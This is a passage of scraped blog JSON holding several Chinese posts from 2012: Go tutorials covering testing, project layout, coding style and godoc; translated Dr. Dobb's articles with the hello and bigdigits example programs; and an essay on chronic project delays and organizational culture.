mymath\nfunc MyAdd(i int, j int) int {\nreturn i + j\n}\n要对mymath包进行测试，我们需在同一目录下创建mymath_test.go文件，其中对MyAdd函数的测试代码如下：\n/* mymath_test.go */\npackage mymath\nimport \u0026ldquo;testing\u0026rdquo;\nfunc TestMyAdd(t *testing.T) {\na, b := 4, 2\nif x := MyAdd(a, b); x != 6 {\nt.Errorf(\u0026ldquo;MyAdd(%d, %d) = %d, want %d\u0026rdquo;, a, b, x, 6)\n}\n}\n在这个文件中我们import了Go提供的标准单元测试包-testing，并且每个测试方法都已Test作为前缀开头。现在我们来运行一下这个测试，在mymath目录下运行go test命令：\n$ go test\nPASS\nok mymath 0.007s\n如果用例出错，我们就可看到下面提示：\n$go test\n— FAIL: TestMyAdd (0.00 seconds)\nmymath_test.go:8: MyAdd(4, 2) = 6, want 6\nFAIL\nexit status 1\nFAIL mymath 0.007s\n由上可以看出，Go test也有自己的一些约定：测试源文件的名字必须以_test.go作为结尾；测试代码与被测代码在同一个包中；测试代码要导入testing包；测试 函数要以Test作为前缀，并且测试函数的函数签名必须是这样的：func TestXXX(t *testing.T)。\n语言自带对测试的支持的好处是一致性，避免了大家使用不同的测试框架而给阅读、交流和维护带来的不便。\n八、项目源码组织\n有了源码、有了对编译原理的理解、有了测试框架的支持，我们就可以策划项目源码组织形式了。不过Go的诸多约定基本上已经将我们限制在如下结构上：\nproj1/\nbin/\nmyapp1*\npkg/\nlinux_386/\nlib1.a\nlib2.a\nsrc/\nlib1/\nlib1.go lib1_test.go\nlib2/\nlib2.go lib2_test.go\n… …\nmyapp1/\nmain.go # main package source\nmain_test.go # test source\nproj2/\nbin/\nmyapp2*\npkg/\nlinux_386/\nlib3.a\nlib4.a\nsrc/\nlib3/\nlib3.go lib3_test.go\nlib4/\nlib4.go lib4_test.go\n… …\nmyapp2/\nmain.go # main package source\nmain_test.go # test source\n基于上述结构，我们可将GOPATH设置为proj1_path:proj2_path。\n九、代码风格(coding style)\nGo程序员可以不再纠结于到底使用哪种代码风格，因为Go已经将代码风格做了严格的约定，一旦违反，Compiler直接给出Error。go还提供了fmt命令来协助Go程序员按标准格式化源文件。\n从上面例子中我们可以看到Go的几大风格特点是：\n* 左大括号\u0026rsquo;{\u0026lsquo;一定在函数名或if等语句在同一行\nfunc foo {\n}\n* 无需显式用分号;将语句分隔(除非是在一行写上多条语句)，因为compiler会替大家在适当位置加入分号的。\ni, j := 2, 3\nMyAdd(i, j)\nif x := MyAdd(a, b); x != 6 {\n… …\n}\n* if、for等后面的表达式无需用小括号括上\nif x != 5 {\n… …\n}\n十、查看文档\nGo的全量文档几乎与Go安装包一起发布。安装Go后，执行godoc –http=:端口号即可启动doc server。打开浏览器，输入http://localhost:端口号即可以看到几乎与Go官方站完全相同的文档页面。\n十一、参考书籍\nGo毕竟是新生代语言，其自身尚不成熟和完善，资料也较少。这里推荐两本市面上比较好的且内容已更新到Go 1的书籍：\n* Mark Summerfield的《Programming in Go: creating applications for the 21st century》\n* Ivo Balbaert的《The Way to Go – A Thorough Introduction to the Go Programming Language》\n","permalink":"https://tonybai.com/2012/08/17/hello-go/","summary":"\u003cp\u003e\u003cem\u003e\u003cstrong\u003eGo is expressive, concise, clean, and efficient. Its concurrency mechanisms make it easy to write programs that get the most out of multicore and networked machines, while its novel type system enables flexible and modular program construction. Go compiles quickly to machine code yet has the convenience of garbage collection and the power of run-time reflection. It\u0026rsquo;s a fast, statically typed, compiled language that feels like a dynamically typed, interpreted language.\u003c/strong\u003e\u003c/em\u003e\u003cbr\u003e\n                                                                                          \u003cstrong\u003e– 摘自\u003ca href=\"http://golang.org/\"\u003eGo语言\u003c/a\u003e官方站点\u003c/strong\u003e\u003c/p\u003e","title":"也谈Go语言编程 – Hello，Go!"},{"content":"上周得知今年一个重点项目跳票了！项目计划正在重新修订中，原计划今年10月末完成的项目很可能因此推迟到明年上旬了。\n工作这么多年，印象中除了一些短期小项目外，50人月以上的项目就少有未跳票的，无论是我带的项目还是其他负责人带的项目，莫不如此。无论是产品负责人，还是项目负责人，高质量按期交付都是第一目标。但残酷的现实真切地摆在我们面前。问题到底出在哪里呢？\n项目成功的原因都是相似的，但项目跳票的原因却各有各的不同。我们不妨拍脑袋罗列一下可能的原因：\n* 项目计划不合理或太乐观\n* 员工们能力欠缺\n* 员工们不努力\n* 投入的人员不足\n* 需求变更频繁\n* 项目依赖的硬件资源不足\n* 人员并行进行多个项目，时间投入上无法保证\n* 迫于上级领导下达的Deadline，计划时压缩工期\n* 各种估计不准确，偏差大\n* 严重技术风险发生，推倒重来\n* 新任务夹塞，后来者优先级高\n* 产品质量不达标，修正bug耗时远超计划\n… …\n也许你能列举出更多的理由，但那不是这里真正要关注的事情。如果你是项目或产品负责人，你也许能对号入座，给自己项目跳票找一个或多个理由。但不知道你是否想过：究竟是什么使让理由发生了呢？\n一个组织内如果仅仅是某一个项目偶然跳票，那问题还不大，关键是当组织内项目跳票成为常态时、当跳票几乎成为组织骨子里的东西时，那真应该好好反思一下其中的原因了。\n为何员工能力会不足？为何硬件资源跟不上？为何后来任务优先级居上？为何要迫于领导下达的Deadline等等都需要我们给出答案。但这些问题若真的让一 个小小的项目负责人来回答的确有些勉为其难了，这是一个组织层面上的问题。如果我们将组织比作一个机体，项目负责人只是这个机体中的一个细胞，他们也生存 在这个机体中，他们无时无刻不受到这个机体环境对其的影响，他们的行为也同样受到了组织的束缚。因此从跳票这个表象中，我们可隐约看到了组织的文化，可以 看到组织在面对决策时所倾向的与所妥协的。在无米下锅的情形下，一个小小的项目负责人又能做什么呢，虽然有美好期望和目标，但似乎只能接受现实，并从上面 找个适当的理由。于是我们似乎可以得到这样的结论：项目常态跳票，组织基因难逃干系。\n千万不要觉得基因决定论（这里我们先不论该论断是否是正确的）只适合公司这一级别(之前我们只是在谈论苹果、谷歌、微软、诺基亚这样的大公司时使用基因这 个词汇。)一个小组织也有自己的基因，这种基因可能90%与其所在公司的基因相同，剩下的那10%决定了公司内各个组织表现的差异性。\n也许最初组织从公司继承的基因中并未带有跳票文化，而是组织后续自身发展而来的，但随着时间推移，这种行为和思路渐渐融入组织基因中。一两个公司内部组织 的基因变种尚不会影响到整个公司的基因(谁知道到底是否已经影响到了呢?)，但毕竟这是危险的，需要治疗。而且及时尽早的治疗是可以治愈的。\n吐槽，点到为止。\n","permalink":"https://tonybai.com/2012/08/15/bouncing-check-and-organization-gene/","summary":"\u003cp\u003e上周得知今年一个重点项目跳票了！项目计划正在重新修订中，原计划今年10月末完成的项目很可能因此推迟到明年上旬了。\u003c/p\u003e\n\u003cp\u003e工作这么多年，印象中除了一些短期小项目外，50人月以上的项目就少有未跳票的，无论是我带的项目还是其他负责人带的项目，莫不如此。无论是产品负责人，还是项目负责人，高质量按期交付都是第一目标。但残酷的现实真切地摆在我们面前。问题到底出在哪里呢？\u003c/p\u003e","title":"项目跳票成常态，组织基因难逃干系"},{"content":"本文翻译自Dr.Dobb\u0026rsquo;s的\u0026quot;Getting Going with Go\u0026quot;。\n本文是有关Google新的系统原生语言的五周教程的第一部分，这里将先向大家展示如何建立Go语言开发环境以及构建程序，然后带领大家浏览 一些代码范例来着重了解一下这门语言的一些有趣的特性。\n这个教程系列将连续刊登五周。在今天这一部分中，Go语言专家Mark Summerfield将讲解如何建立Go语言开发环境，提供两个Go语言范例并给予深度解析。这些样例程序会向大家局部地展示了Go语言的一些关键特性 以及包。接下来几周将展示其余的关键特性，并特别为C、C++和Java程序员们深入研究那些Go语言独有的特性。\n正如本周主编文章中所解释的那样，Go语言拥有许多独一无二的特性，因此它也许可以被称为二十一世纪的C语言。而且考虑到Ken Thompson也是该语言的设计者之一，这两种语言的确是有共同的祖先。\n开始\nGo是编译型语言，而不是解释型的。Go的编译速度非常快– 甚至远远快过其他同类语言- 知名的如C和C++。\n标准Go语言编译器被称为gc，与其相关的工具链包括用于编译的5g、6g和8g；用于链接的5l、6l和8l以及用于查看Go语言文档的 godoc(在Windows平台上这些程序为5g.exe、6g.exe等等诸如此类)。这些奇怪的名字遵循了Plan 9操作系统编译器的命名方式，即用数字表示处理器体系(\u0026ldquo;5\u0026quot;代表ARM，\u0026ldquo;6\u0026quot;代表AMD64-包括Intel 64位处理器- \u0026ldquo;8\u0026quot;代表Intel 386)。幸运的是，我们无需对此产生忧虑，Go语言提供了一个更高级别的Go语言构建工具，这个工具可以为我们处理编译和链接任务。\n本文中的所有代码使用的都是Go 1版本语法，并在Linux、Mac OS X以及Windows上用gc测试通过了。Go语言的开发者计划让随后所有Go 1.x版本支持Go 1向后兼容，因此这里的代码和例子将适用于所有1.x系列版本。\n要下载和安装Go，请访问_golang.org/doc/install.html_，那里提供了下载链接与安装指令。Go 1为FreeBSD 7+、Linux 2.6+、Mac OS X (Snow Leopard和Lion)以及Windows 2000+提供源码包以及二进制形式安装包，可以支持所有Intel 32位和AMD 64位处理器体系。Go还支持ARM处理器版本的Linux，为Ubuntu Linux发布版提供预建go包。当你读到这里时，也许已经有其他Linux发布版的Go安装包了。\n使用gc编译器的程序使用了一种特定的调用惯例(call convention)。这意味着使用gc编译的程序只可以与使用同样调用惯例编译的外部库进行链接 – 除非使用某适合的工具消除这些差异。使用cgo工具Go可以支持在Go程序中使用外部C代码，并且至少在Linux和BSD系统上，通过SWIG工具我们 可以将C和C++代码用于Go程序中。\n除了gc，还有一种编译器称为gccgo。它是Gcc的一个Go特定前端，Gcc 4.6及以后版本才能支持。像gc一样，gccgo也许内建在一些Linux发行版中。构建和安装gccgo的指令在Go主站点上可以找到。\nGo文档\nGo的官方站点上维护着一份最新的Go文档。\u0026ldquo;Packages\u0026quot;链接提供了有关所有Go标准库包的访问方式- 以及它们的源码，这些源码在文档还很稀缺时十分有用。通过\u0026quot;Commands\u0026quot;链接你可以找到与Go一起发布的相关程序的文档(诸如编译器，构建工具 等)。通过\u0026quot;Specification\u0026quot;链接，你可以找到一份非正式，但很全面的Go语言规范。通过\u0026quot;Effective Go\u0026quot;链接，你可以找到一份介绍Go最佳实践的文档。\n该站点还提供了一个沙箱特性，用于在线编写、编译以及运行Go小程序(稍有限制)。这个特性十分有用，便于初学者试验一些古怪的语法。Go站点上 的搜索框只能用于在Go文档中搜索；如果要对Go的资源进行全面搜索，请访问http://go-lang.cat-v.org/go- search。\nGo的文档也可以在本地浏览，例如在Web浏览器中。如果要这样做，可运行Go的godoc工具，并通过传入命令行参数告知它以一个web服务器 的方式运行。下面是在一个Unix或Windows控制台中进行这个操作的方法，假设PATH环境变量中已经设置了godoc：\n$ godoc -http=:8000\n这个例子中的端口号可以是任意的- 如果它与一个已存在的服务器端口冲突，可以使用其他任一个端口号。\n要想查看文档，打开一个浏览器，输入地址http://localhost:8000。一个类似golang.org首页的页面将会呈现在你的面 前。\u0026ldquo;Package\u0026quot;链接将指向Go标准库以及安装在GOROOT环境变量下的第三方包的文档。如果你定义了GOPATH环境变量(比如，为本 地程序和包)，一个链接将会出现在\u0026quot;Packages\u0026quot;链接旁，通过这个链接你可以访问其他相关文档。(本文后续会讨论GOROOT和 GOPATH环境变量)\n编辑，编译和运行\nGo程序用UTF-8编码的普通的Unicode文本编写。绝大多数现代文本编辑器都可以自动处理这些代码，并且一些最流行的编辑器可以支持Go 源码的语法色彩高亮以及自动缩进。如果你的编辑器不支持Go，可以尝试在Go搜索引擎中输入你的编辑器的名字，查看一下是否有合适的插件。作为编 辑惯例，Go所有的关键字和操作符都使用ASCII字母；然而，Go的标识符可以以任意Unicode字母作为起始，后面可以跟着任意 Unicode字母或数字，因此Go开发者可以自由使用他们的母语。\n为了掌握如何编辑、编译以及运行一个Go程序，我开始会用经典的\u0026quot;Hello World\u0026quot;程序作为例子- 然而我编写这个程序比寻常的稍复杂些。\n如果你已经用二进制包或通过源码安装了Go，并且是以root或管理员权限安装的，你应该至少设置一个环境变量：GOROOT，该变量指示Go的 安装路径信息，你的PATH变量现在应该包含$GOROOT/bin或%GOROOT%\\bin。为了检查Go安装地是否正确，可在控制台下输入 下面命令：\n$ go version\n如果你得到\u0026quot;command not found\u0026quot;或\u0026rdquo;\u0026lsquo;go\u0026rsquo; is not recognized…\u0026ldquo;的错误信息，那就意味着在PATH变量配置的路径下没有Go。\n编译与链接\n构建一个Go程序需要两步：编译和链接。(由于我们假设使用gc编译器，使用gccgo编译器的读者需要遵循golang.org/doc /gccgo_install.html中描述的编译和链接过程，同样，使用其他编译器的读者需要根据其编译器的指令进行编译和链接)。编译和链 接过程都由工具go处理，它不仅可以构建本地程序和包，还能够获取、构建以及安装第三方程序和包。\n要想go能够编译本地程序和包，有三个要求。第一，Go的bin目录($GOROOT/bin或%GOROOT%\\bin)必须在PATH环境变 量下。第二，必须存在一个目录，该目录下包含一个src目录，本地程序和包的源码就驻留在src目录下。例如，例子代码会解包到goeg/src /hello、goeg/src/bigdigits下等。最后，包含src的那个目录必须在GOPATH环境变量中设置。例如，要使用go工具 构建hello这个例子，我们必须这么做：\n$ export GOPATH=$HOME/goeg\n$ cd $GOPATH/src/hello\n$ go build\n两个例子中，我们都假设PATH环境变量中包含了$GOROOT/bin或%GOROOT%\\bin。一旦go编译程序完毕，我们就可以运行这个 程序了。默认情况下，go会用可执行文件所在目录的名字来命名该文件(例如，在类Unix系统上是hello，而在Windows上为 hello.exe)。一旦构建完毕，我们就可以按常规方式运行它。\n$ ./hello\nHello World!\n注意，我们不需要编译或显式地链接其他包(即便后续我们将看到，hello.go使用了三个标准库的包)。这也是Go程序编译如此之快的一个原 因。\n如果我们有多个Go程序，若他们的可执行文件能够放在同一个目录下将会非常方便，后续只需将这个目录加入到PATH环境变量中。幸运地是go支持 这样的情况：\n$ export GOPATH=$HOME/goeg\n$ cd $GOPATH/src/hello\n$ go install\ngo install命令除了做了go build所做的事情之外，还将可执行文件放在标准位置($GOPATH/bin或%GOPATH%\\bin)。这意味着将一个单一路径($GOPATH /bin或%GOPATH\u0026gt;%\\bin)加入到PATH环境变量中，我们安装的所有Go程序就可以方便地被加入到PATH中。\n除了这里给出的例子外，我们很可能想要在我们自己的目录下开发我们自己的Go程序和包。通过为GOPATH环境变量设置两个(或更多)冒号分隔的 路径(在Windows上用分号分隔)我们可以很容易解决这个问题。\n虽然Go使用go工具作为标准构建工具，但你仍然可以使用make或其他现代构建工具，或使用其他Go专用的构建工具，或一些流行IDE的插件。\n和谁打招呼(Hello)?\n既然我们已经看到了如何构建一个Hello程序，接下来我们来看看其源代码。下面是hello程序的完整源码(在文件 hello/hello.go中)：\n// hello.go\npackage main\nimport (\n\u0026ldquo;fmt\u0026rdquo;\n\u0026ldquo;os\u0026rdquo;\n\u0026ldquo;strings\u0026rdquo;\n)\nfunc main() {\nwho := \u0026ldquo;World!\u0026rdquo;\nif len(os.Args) \u0026gt; 1 { /* os.Args[0] is \u0026ldquo;hello\u0026rdquo; or \u0026ldquo;hello.exe\u0026rdquo; */\nwho = strings.Join(os.Args[1:], \u0026quot; \u0026ldquo;)\n}\nfmt.Println(\u0026ldquo;Hello\u0026rdquo;, who)\n}\nGo用C++风格的注释符号//作为单行注释，用/* … */作为多行注释符号。依照惯例，Go中多使用单行注释，多行注释常用于在开发中注释掉代码块。\n每段Go代码都存在于一个包内，并且每个Go程序必须具有一个包含main()函数的main包，其中main函数会作为程序执行的入口点，即这 个函数首先执行。事实上，Go包也可以定义在main函数之前执行的init函数。值得注意的是包名和函数名之间不会存在冲突的情况。\nGo的操作是以包为单位的，而不是文件。这意味着我们可以根据需要任意地将一个包拆分到多个文件中。如果多个文件具有相同的包声明，Go语言认为 这些文件都是同一个包的组成部分，与所有内容在单一文件中无异。当然，我们也可以将应用的功能分解到许多本地包中，这样可以保持代码整洁地模块 化。\nimport语句从标准库导入三个包。fmt包提供格式化文本以及读取格式化文本的函数；os包提供平台无关的操作系统变量以及函 数；strings包提供操作字符串的函数。\nGo的基本类型支持普通操作符(例如，+可用于数值加法以及字符串连接)，Go的标准库通过提供操作基本类型的函数包补充功能，例如这里导入的 strings包。我们可以在基本类型的基础上创建我们自定义的类型并为它们定义相关方法- 自定义操作特性类型的函数。\n读者也许已经注意到了Go源码中没有分号、import的包无需逗号分隔以及if条件语句不需要括号。在Go中，块(block)，包括函数体以 及控制结构体(如for、if语句以及for循环)，使用括号界定。缩进只是单纯用于提高代码的可读性。技术上而言，Go语句是用分号分隔的，但 这些分号由编译器插入，我们自己无需关心，除非我们要将多个语句放在同一行中时。没有分号、很少的逗号以及括号让Go程序看起来更简洁，需要的输 入也更少。\nGo使用func关键字定义函数(function)和方法(method)。main包的main()函数总是具有相同的函数签名 – 没有参数、没有返回值。当main.main()结束时，程序将终止并返回0给操作系统。当然，我们可以在任意时刻返回并选择我们自己的返回值。\nmain()函数中的第一个语句(使用:=操作符)在Go的术语里被称为一个短变量声明。这个语句在同一时间声明并初始化一个变量。此外，我们无 需指定变量的类型，因为Go可根据初始值推导出变量的类型。因此在这个例子中，我们声明了一个string类型的变量who，感谢Go的强类型机 制，我们只需将字符串赋值给who即可。\nos.Args变量是字符串的一个slice(片段)。Go使用array(数组)、slice和其他集合数据类型，但在这些例子中，知道下面这 些即可：使用内置的len()函数获取一个slice的长度以及通过[]下标操作符访问其中的元素。特别是，slice[n]返回slice的第 n个元素(从0起始)，slice[:n]返回另外一个slice，这个新slice由原slice的第n个到最后一个之间的元素组成。在集合一 章，我们将看到有关这方面的一般性的Go语法。就这里的os.Args来说，这个slice总是应该至少在位置0处具有一个字符串(程序的名 字)。(所有Go的下标索引都是从0开始)\n如果输入一个或更多命令行参数，if条件将被满足，我们将所有参数拼接成一个单一的字符串并赋值给who。在这里例子中，我们使用赋值操作符 (=)，如果我们使用:=，我们将声明和初始化一个新的who变量，其影响范围将局限在if语句块中。strings.Join函数接受一个字符 串slice和一个分割符(可以为空，即\u0026rdquo;\u0026quot;)作为参数，并返回一个由所有slice的字符串元素组成的，由分隔符分隔的单一字符串。这里我们用 空格分隔这些字符串。\n最后，在最后一个语句中，我们输出Hello，一个空格，who变量中的字符串以及一个新行(newline)。fmt包中拥有许多不同的打印输 出变体，一些像fmt.Println()的将整齐地输出任何传入的值，其他的诸如fmt.Printf将使用占位符以提供更佳的格式控制。\n另外一个例子 – 二维slices\n下一个例子bigdigits程序从命令行(以一个字符串形式)读取一个数，并在控制台上使用\u0026quot;大号字体\u0026quot;输出这个数。早在二十世纪，在很多用户 共享一台高速行打印机的场合，按惯例将使用这种技术在每个用户的打印工作之前放置一个封面，该封面可以展示用于识别的细节，诸如用户名以及将被打 印的文件的名字。\n我将分三段回顾这个程序的代码：首先是import部分，然后是静态数据，最后是处理过程。不过现在让我们来看看一个样例，了解一下这个程序是如 何工作的吧：\n$ ./bigdigits 290175493\n每位数字都由一个字符串slice表示，所有数字一起由一个元素为字符串slice的slice表示。在查看数据之前，这里我们展示一下如何声明 和初始化一个一维的字符串和数字slice：\nlongWeekend := []string{\u0026ldquo;Friday\u0026rdquo;, \u0026ldquo;Saturday\u0026rdquo;, \u0026ldquo;Sunday\u0026rdquo;, \u0026ldquo;Monday\u0026rdquo;}\nvar lowPrimes = []int{2, 3, 5, 7, 11, 13, 17, 19}\nslice用[]Type表示，如果我们要初始化它们，我们可以直接在后面跟上一个用大括号包裹、逗号分隔的对应类型的元素列表。我们本可以用同 样的变量声明语法来声明这两个变量，但在这里我们为展示两种语法的差异以及一个稍后即将说明的原因，lowPrimes slice使用了一个更长形式的声明。由于slice类型可以作为slice类型的元素类型，因此我们可以很容易地创建多维集合（slice的slice 等）。\nbigdigits程序只需要导入四个包。\nimport (\n\u0026ldquo;fmt\u0026rdquo;\n\u0026ldquo;log\u0026rdquo;\n\u0026ldquo;os\u0026rdquo;\n\u0026ldquo;path/filepath\u0026rdquo;\n)\nfmt包提供了用于文本格式化和读取格式化文本的函数。log包提供了日志记录函数。os包提供了平台无关的操作系统变量以及函数，其中就包括持 有命令行参数值的[]string类型的os.Args变量。path包下面的filepath包提供跨平台操作文件名和路径的相关函数。注意对 于逻辑上存在包含关系的包(译注：如path/filepath)来说，我们在代码中使用时只指明其名字的最后部分（这里是filepath）。\n对于bigdigits这个程序，我们需要一个二维的数据(一个字符串slice的slice)。下面就是创建它的方法，通过代表数字0的字符串 布局我们可以看出这个数字对应的字符串在输出时相应的行。3到8的数字对应的字符串这里省略了。\nvar bigDigits = [][]string{\n{\u0026rdquo; 000 \u0026ldquo;,\n\u0026quot; 0 0 \u0026ldquo;,\n\u0026ldquo;0 0\u0026rdquo;,\n\u0026ldquo;0 0\u0026rdquo;,\n\u0026ldquo;0 0\u0026rdquo;,\n\u0026ldquo;0 0\u0026rdquo;,\n\u0026quot; 000 \u0026ldquo;},\n{\u0026rdquo; 1 \u0026ldquo;, \u0026ldquo;11 \u0026ldquo;, \u0026quot; 1 \u0026ldquo;, \u0026quot; 1 \u0026ldquo;, \u0026quot; 1 \u0026ldquo;, \u0026quot; 1 \u0026ldquo;, \u0026ldquo;111\u0026rdquo;},\n{\u0026ldquo;222\u0026rdquo;,\u0026ldquo;2 2\u0026rdquo;,\u0026rdquo; 2\u0026rdquo;,\u0026rdquo; 2 \u0026ldquo;,\u0026ldquo;2 \u0026ldquo;,\u0026ldquo;2 \u0026ldquo;,\u0026ldquo;22222\u0026rdquo;},\n// … 3 to 8 …\n{\u0026rdquo; 9999\u0026rdquo;, \u0026ldquo;9 9\u0026rdquo;, \u0026ldquo;9 9\u0026rdquo;, \u0026quot; 9999\u0026rdquo;, \u0026quot; 9\u0026rdquo;, \u0026quot; 9\u0026rdquo;, \u0026quot; 9\u0026rdquo;},\n在函数或方法外面声明的变量不可以使用:=操作符，但我们可以使用长声明形式(使用关键字var)以及赋值操作符(=)来得到同样的效果，就如我 们这里为bigDigits程序中的变量所做的那样(前面对lowPrime变量的声明)。我们仍然无需指定bigDigits变量的类型，Go 可以从赋值中推断出其类型。\n我们把计算工作留给了Go编译器，因此也没有必要指出slice的维数。Go的一个方便之处就是它对使用了括号的符合字面值的良好支持，这样我们 无需在一个地方声明一个数据变量，然后在另外一个地方用数据给它赋值了。\nmain()函数读取命令行，并使用这些数据产生输出，这个函数只有20行。\nfunc main() {\nif len(os.Args) == 1 {\nfmt.Printf(\u0026ldquo;usage: %s \\n\u0026rdquo;, filepath.Base(os.Args[0]))\nos.Exit(1)\n}\nstringOfDigits := os.Args[1]\nfor row := range bigDigits[0] {\nline := \u0026quot;\u0026rdquo;\nfor column := range stringOfDigits {\ndigit := stringOfDigits[column] – \u0026lsquo;0\u0026rsquo;\nif 0 \u0026lt;= digit \u0026amp;\u0026amp; digit \u0026lt;= 9 {\nline += bigDigits[digit][row] + \u0026quot; \u0026quot;\n} else {\nlog.Fatal(\u0026ldquo;invalid whole number\u0026rdquo;)\n}\n}\nfmt.Println(line)\n}\n}\n程序一开始检查是否有任何命令行参数。如果没有，len(os.Args)的值将为1(回忆一下，os.Args[0]中存放的是程序名，因此这 个slice的长度至少是1)。如果这个if语句条件成立，我们将使用fmt.Printf输出一条适当程序用法信息，该Printf函数使用类 似C/C++中printf()或Python中%操作符的%占位符。\npath/filepath包提供路径操作函数- 比如，filepath.Base()函数返回给定路径的基本名(basename，即文件名)。在输出这条信息后，程序使用os.Exit()函数结束 程序，并返回1给操作系统。在类Unix系统中，一个值为0的返回值用于表示成功，非0值标识用法错误或失败。\nfilepath.Base()函数的使用向我们说明了Go的一个美妙的特性：当一个包被导入时，无论它是顶层的包还是逻辑上内置于其他包中的包 (例如：path/filepath)，我们总是可以只通过其名字的最后部分(即filepath)来引用它。我们还可以给包赋予本地名字以避免 名字冲突。\n如果至少传入了一个命令行参数，第一个参数将被拷贝到stringOfDigits变量(string类型)中。要想将用户输入的数字转换成大数 字，我们必须迭代处理bigDigits slice的每一行，即每个数字的第一行(最上面的一行)，接下来第二行，依次类推。我们假设所有bigDigits的slice都具有相同数量的行，这 样我们可以从第一个slice那里得到行数。Go的for循环对不同场景有不同的应对语法；在这个例子中，for…range循环返回 slice中每个元素的索引位置信息。\n行和列的循环部分的代码可以这样来写：\nfor row := 0; row \u0026lt; len(bigDigits[0]); row++ {\nline := \u0026quot;\u0026rdquo;\nfor column := 0; column \u0026lt; len(stringOfDigits); column++ {\n…\n这是一个C、C++和Java程序员都熟悉的语法形式，在Go中它也是有效的。(与C、C++和Java不同在于，在Go中，++和–操作符只 能用作语句，而不能用作表达式。此外，它们只能被用作后缀操作符，而不能作为前缀操作符。这意味着求值顺序导致的相关问题在Go中不会发生- 谢天谢地，像f(i++)和a[i] = b[++i]这样的表达式在Go中是非法的。) 然而，for…range语法更加短小，也更加方便。\n在每次行迭代时，代码会将行的line赋值为空字符串。接下来，我们做迭代处理从用户那里获取的stringOFDigits中的列(即，字 符)。Go的字符串使用UTF-8字符，因此本质上一个字符很可能用两个或更多字节表示。但这不是这里要讨论的话题，因为我们只关心数值0、 1、…、9，这些数值用UTF-8字符表示时只需一个字节，与用7比特ASCII字符表示所使用的字节值相同。\n当我们索引字符串中的某个特定位置时，我们获取了那个位置的字节值。(在Go中byte类型是uint8类型的同义词。)因此我们获取到命令行字 符串特定列上的字节值，减去数字0的字节值后，得到它表示的数字。在UTF-8(以及7比特ASCII)中，字符'0\u0026rsquo;是码点(字符)十进制值 48，字符'1\u0026rsquo;是码点十进制值49，依次类推。这样举例，如果我们有字符'3\u0026rsquo;（码点1），我们可以通过做减法'3\u0026rsquo; – \u0026lsquo;0\u0026rsquo;(即51-48)的结果得到其整型值3。\nGo使用单引号表示字符字面值，一个字符字面值是一个与Go任何整型类型都兼容的整数。Go的强类型意味着如果不进行显式转型，我们无法将一个 int32类型的数与一个int16类型的数相加，不过，Go中的数值常量和字面值自适应于其上下文，这样一来，这里的'0\u0026rsquo;被认为是一个字节。\n如果这个数字(byte类型)在范围内，我们会将对应的字符串加到line变量中。(在if语句中，常量0和9被认为是byte类型，因为它们是 数值类型，但如果数值是一个不同的类型，比如说，int，它们将会被当作新类型对待。)虽然Go中的字符串是不可改变的，Go仍然支持+=附加操 作符以提供一个便于使用的语法。(它通过在后台替换掉原先的字符串。)Go同样支持+字符串连接操作符，该操作将返回一个由左右字符串操作数连接 而成的新字符串。\n为了获取对应的字符串，我们根据这个数值访问bigDigits slice，然后访问其中我们需要的行(字符串)。\n如果数值超出了范围(比如，由于stringOfDigits包含了一个非数值)，我们调用log.Fatal()函数记录一条错误信息。如果没有显式指 定其他日志输出目标，这个函数会在os.Stderr中记录下日期、时间和错误信息。然后该函数调用os.Exit(1)结束程序。还有 一个名为log.Fatalf()的函数可以做同样的事情，但它接受%占位符。我们没有在第一个if语句中使用log.Fatal()函数，因为 我们想输出程序的使用方法信息，但不要log.Fatal()默认输出的日期和时间信息。\n一旦给定行的所有数字的字符串都累加完毕，完整的一行就被输出。在这里，我们输出了7行，因为每个bigDigits slice中的数字由七个字符串表示。\n最后一点是声明和定义的顺序无关紧要。因此在bigdigits/bigdigits.go文件中，我们可在main()函数前声明bigDigits变 量，也可在后面声明。在这个例子里，我们将main()函数放在前面，对于这篇文章中的例子，我们通常更倾向于自顶向下的排序。\n这里的两个例子已经涵盖了大量特性，但它们所展示的资料与其他主流语言甚为相似，即便语法稍有不同。下周的文章将检视Go语言的其余特性，包含一些高级方面的特性。\n","permalink":"https://tonybai.com/2012/08/14/getting-going-with-go/","summary":"\u003cp\u003e本文翻译自\u003ca href=\"http://www.drdobbs.com/\"\u003eDr.Dobb\u0026rsquo;s\u003c/a\u003e的\u0026quot;\u003ca href=\"http://www.drdobbs.com/open-source/getting-going-with-go/240004971\"\u003eGetting Going with Go\u003c/a\u003e\u0026quot;。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e本文是有关Google新的系统原生语言的五周教程的第一部分，这里将先向大家展示如何建立\u003ca href=\"http://golang.org/\"\u003eGo语言\u003c/a\u003e开发环境以及构建程序，然后带领大家浏览 一些代码范例来着重了解一下这门语言的一些有趣的特性。\u003c/strong\u003e\u003c/p\u003e","title":"开始学Go"},{"content":"本文翻译自 Dr. Dobb\u0026rsquo;s主编Andrew Binstock的文章\u0026quot;Why Not Go?\u0026quot;。\nGo是一种对系统原生语言的重要反思，它对C语言做了重大的改善，同时还保持了语言的极简性。\n今年早些时候，我们写了一篇有关新兴系统原生(native)语言的文章。这些语言包括D、Go、Rust以及Vala。当时我们承诺将会对这些语言进行 细致的探索。从本周开始，我们将开启一系列对来自Google的新语言Go的探索之旅，该系列共有五部分。不同于以往Dr.Dobb\u0026rsquo;s的教程系列，我们 会在连续的几周内发表这些文章，这样你就可以及时且更快的了解到这门语言了。\n与这个列表上的其他语言相比，Go语言对我更加有吸引力。虽然我不是Go语言专家，但我喜欢到目前为止我看到的有关Go的一切。正如你所见到的，我的愉悦 来自于对完备的语言特性选择的欣赏，而不是新语言首次亮相所带来的那种热情（我承认我也很容易受到这种兴奋带来的影响 – 这就是为什么我能识别出与喜欢Go的原因的不同之处）。下面这些特性对我尤其有吸引力：\n简单而快捷的编译。Go语言编译速度很快。事实上，它的编译速度如此之快，可以轻松地被当作脚本语言使用。编译速度这么快的几个原因包括它 没有使用头文件；如果一个模块依赖A，而A依赖B，那么当A中发生一个改变时，只需要重新编译A原模块以及A的依赖即可；最后一点，目标模块包含了足够的 依赖信息，这样编译器不再需要make文件。你只需简单地进行主模块的编译，它就会自动编译工程中的所有需要被更新的模块。这是不是很酷呢？\n通过多个返回值的错误处理。现今在系统原生语言中有两类主要的错误处理范式：类似C中的返回值，或类似OO语言中的异常。这两种范式都不那 么理想。但在这两者之中，返回值范式更加让人沮丧，因为返回的错误码经常与从函数中返回的其他数据相冲突。Go通过允许函数返回多个值的方式解决了这个问 题。你可以指定一个从函数返回的值代表类型错误，并可以在任意函数返回的时刻对其进行检查。如果你不关心这个错误值，你可以不检查它。无论哪种情况，函数 